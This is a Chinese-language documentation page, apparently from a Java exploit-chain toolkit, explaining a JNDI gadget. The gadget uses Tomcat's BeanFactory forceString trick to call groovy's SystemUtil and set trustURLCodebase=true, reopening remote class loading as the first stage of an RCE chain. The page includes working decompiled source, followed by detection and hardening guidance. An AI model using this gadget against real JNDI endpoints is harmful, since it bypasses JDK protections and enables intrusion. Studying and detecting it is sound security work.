Skip to content

Latest commit

 

History

History
118 lines (87 loc) · 11 KB

File metadata and controls

118 lines (87 loc) · 11 KB

groovy 修改系统属性(SystemConfigurationRef3)

  • 类别jndi 别名:(无) 优先级:(未设定)
  • 作者:(未署名)
  • 依赖tomcat(提供 org.apache.naming.factory.BeanFactoryorg.apache.naming.ResourceRef)、org.codehaus.groovy:groovy(提供 org.apache.groovy.util.SystemUtil
  • 实现Gadget(非抽象,直接可用)

作用

构造一个指向 Tomcat BeanFactory 的 JNDI ResourceRef:当受害端对该 Reference 发起 JNDI lookup 时,BeanFactory 会实例化 bean 类 org.apache.groovy.util.SystemUtil,并借助 forceString 机制以单 String 入参反射调用其 setSystemPropertyFrom(String) 方法,从而在目标 JVM 内任意修改一条系统属性key=value)。典型用途是把 com.sun.jndi.ldap.object.trustURLCodebase=true 写入系统属性,为后续 JNDI 远程加载类重新打开缺口——是一个纯本地 classpath(无需拉取远程文件)的 JNDI 防护绕过 / 环境预置构件,位于链尾(END)。

链接标签

  • 入口 tagsResourceRefTomcatBeanFactoryEND
    • ResourceRef / TomcatBeanFactory:表明本 gadget 的产物是一个 org.apache.naming.ResourceRef、且 factory 为 Tomcat 的 BeanFactory,需由「能投递 JNDI Reference / ResourceRef」的上游承接(即上游 gadget 的 nextTagsResourceRef)。
    • END:本 gadget 自身产出最终 payload 对象(Reference),是链尾 sink——invoke 未调用 chain.doCreate(context),其内不再有更内层对象。
  • 衔接 nextTags:(空)——链尾,不再向下衔接。
  • excludes:(空)。

说明:tags 在本知识库语义中是「入口标签」,表示本环能被哪类上游承接。能产出该入口(nextTagsResourceRef)的上游投递器包括 RefWrapDirContextJndiSwingLazyValueJarWriteXBean / XBeanToStringC3p0_C3p0Reference / MchangeC3p0Reference 等 Reference/ResourceRef 载体;本 gadget 通常作为它们背后的最终 sink。

源码剖析

全类仅 getObject 一个核心方法,invoke 直接转发(无内层对象)。以下为 中 CFR 反编译原文的核心片段:

@GadgetTags(tags={"ResourceRef", "TomcatBeanFactory", "END"})
@GadgetAnnotation(name="groovy 修改系统属性",
    description="factory: org.apache.naming.factory.BeanFactory\n通过BeanFactory调用单String方法:org.apache.groovy.util.SystemUtil#setSystemProperties(),实现修改系统属性",
    dependencies={"tomcat", "org.codehaus.groovy:groovy"})
public class SystemConfigurationRef3 implements Gadget {
    @Param(name="键值对", description="eg: com.sun.jndi.ldap.object.trustURLCodebase=true")
    public String kv = "com.sun.jndi.ldap.object.trustURLCodebase=true";

    public Reference getObject() throws Exception {
        ResourceRef ref = new ResourceRef(
            "org.apache.groovy.util.SystemUtil",              // bean 类名 = 要实例化的目标类
            null, "", "", true,
            "org.apache.naming.factory.BeanFactory", null);   // objectFactory = Tomcat BeanFactory
        ref.add((RefAddr)new StringRefAddr("forceString", "x=setSystemPropertyFrom"));
        ref.add((RefAddr)new StringRefAddr("x", this.kv));
        return ref;
    }

    @Override
    public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
        return this.getObject();
    }
}

逐段解释:

  1. new ResourceRef("org.apache.groovy.util.SystemUtil", ..., "org.apache.naming.factory.BeanFactory", null) 构造一个 ReferenceclassName = org.apache.groovy.util.SystemUtil(BeanFactory 将要加载并实例化的 bean),factoryClassName = org.apache.naming.factory.BeanFactory(Tomcat 内置的对象工厂)。JNDI 解析该 Reference 时会先加载并调用 BeanFactory.getObjectInstance()。注意 bean 类来自目标本地 classpath(groovy),并非远程下载,因此不受 trustURLCodebase 限制——这正是绕过点。

  2. StringRefAddr("forceString", "x=setSystemPropertyFrom") 这是本 gadget 的关键。Tomcat BeanFactory.getObjectInstance() 会读取名为 forceString 的 RefAddr,将其解析为 属性名=方法名 的映射(逗号分隔)。默认情况下 BeanFactory 对属性 x 会调用 JavaBean 规范的 setter setX(String);一旦在 forceString 中声明 x=setSystemPropertyFrom,BeanFactory 便改为反射查找签名为单个 String 参数的方法 setSystemPropertyFrom(String),并以属性 x 的字符串值作为实参调用。这就把「设置一个 bean 属性」偷换成「调用目标类上任意 void method(String)」。

  3. StringRefAddr("x", this.kv) 为属性 x 提供实参值 kv(默认 com.sun.jndi.ldap.object.trustURLCodebase=true)。最终等价于在受害 JVM 内执行: org.apache.groovy.util.SystemUtil.setSystemPropertyFrom("com.sun.jndi.ldap.object.trustURLCodebase=true")。 Groovy 的 SystemUtil.setSystemPropertyFrom(String nameValue) 会以 = 拆分字符串并调用 System.setProperty(name, value),于是目标系统属性被改写。

  4. invoke 未调用 chain.doCreate(context),而是直接 return this.getObject();,印证 END 语义:本 gadget 自产终态对象、无内层,参数完全由自身 @Param kv 决定。

@GadgetAnnotation.description 的差异(如实标注):description 写的是「调用 SystemUtil#setSystemProperties()」,但源码里 forceString 实际映射到的方法名是 setSystemPropertyFromorg.apache.groovy.util.SystemUtil 并无 setSystemProperties)。以源码为准:真正被反射调用的是 setSystemPropertyFrom(String),且入参是内联的 key=value 而非远程文件 URL。

与 SystemConfigurationRef / Ref2 的对比

三者结构一致(同一 ResourceRef + BeanFactory + forceString 骨架),差异仅在 bean 类、被调方法与入参语义:

构件 bean 类 forceString 映射方法 入参 x 语义 额外依赖
SystemConfigurationRef org.apache.commons.configuration.SystemConfiguration setSystemProperties 远程 .properties 文件 URL(需 HTTP 拉取) commons-configuration
SystemConfigurationRef2 org.apache.commons.configuration2.SystemConfiguration setSystemProperties 远程 .properties 文件 URL(需 HTTP 拉取) commons-configuration2
SystemConfigurationRef3 org.apache.groovy.util.SystemUtil setSystemPropertyFrom 直接的 key=value 字符串(无需远程文件) groovy

Ref/Ref2 需目标先向攻击者 HTTP 拉取 properties 文件才能落地属性;Ref3 把键值对直接内联在 kv 里,无外连、更隐蔽、更可靠,代价是要求目标 classpath 上存在 groovy。

参数(@Param)

字段 名称 说明 类型 默认值 可选值
kv 键值对 要写入的系统属性,格式 key=value;eg: com.sun.jndi.ldap.object.trustURLCodebase=true String com.sun.jndi.ldap.object.trustURLCodebase=true (无枚举,自由填写)

适用版本与原理要点

  • 运行前提(缺一不可)
    1. 目标 classpath 具备 Tomcat 的 org.apache.naming.factory.BeanFactoryorg.apache.naming.ResourceRef(即使用 Tomcat/嵌入式 Tomcat,或单独引入 tomcat-catalina)。
    2. 目标 classpath 具备 groovy,暴露 org.apache.groovy.util.SystemUtil.setSystemPropertyFrom(String)(该工具类存在于较新的 Groovy 版本中)。
    3. 存在可控的 JNDI 注入点(InitialContext.lookup(attacker) 或等价),使 ResourceRef 被解析。
  • 原理要点:利用 Tomcat BeanFactoryforceString 特性把「本地已存在的类 + 单 String 方法」变成任意 void m(String) 调用;由于 bean 来自本地 classpath,整个过程不触发远程类加载,因此不受 JDK 8u191+ / 11+ 默认 com.sun.jndi.ldap.object.trustURLCodebase=falseldap/rmi 远程 codebase 关闭等防护限制。
  • 典型用法(两段式绕过):第一次 JNDI lookup 命中本 gadget,把 trustURLCodebase 改回 true;随后攻击者引导目标发起第二次 lookup,即可回到经典 LDAP/RMI 远程 factory 类加载路径完成 RCE。本 gadget 本身只做「环境预置」,不直接 RCE。
  • 局限:属性修改只在当前 JVM 生命周期内生效;若目标在启动早期已缓存该属性(部分 JDK 会缓存 trustURLCodebase 判定),改写可能失效——是否成功取决于目标 JDK/版本对该属性的读取时机。

所属预设链

  • usedInChains:(空)。自由构件,未直接出现在 51 条预设链中;作为链尾 sink(END),可由任意 nextTagsResourceRef 的 JNDI Reference 投递器组合使用。

关联

防御与检测

  • 检测特征
    • JNDI/LDAP 响应或反序列化数据中出现 org.apache.naming.factory.BeanFactory 作为 factory、且 RefAddr 含 forceString 键——这是 Tomcat BeanFactory 任意方法调用的强指纹。
    • bean className 为 org.apache.groovy.util.SystemUtil,或 RefAddr 值中出现 setSystemPropertyFromcom.sun.jndi.ldap.object.trustURLCodebase=true 等敏感串。
    • 运行期监控 System.setProperty 对安全相关键(com.sun.jndi.*.object.trustURLCodebasecom.sun.jndi.rmi.object.trustURLCodebase)的写入。
  • 加固建议
    • 从源头禁止不可信 JNDI lookup(升级到 JDK 8u191+/11+ 并保持 trustURLCodebase=false;对 lookup 名称做白名单)。
    • 避免应用与 Tomcat naming 组件、groovy 同处一个可被 JNDI 触及的 classpath;如非必要移除 groovy 或收敛其可达性。
    • 在 WAF/IDS 层面对 LDAP/RMI 响应中的 BeanFactory + forceString 组合告警拦截。
    • com.sun.jndi.*.object.trustURLCodebase 等属性做启动期固定并禁止运行期改写(如通过 SecurityManager/自定义策略或早读缓存)。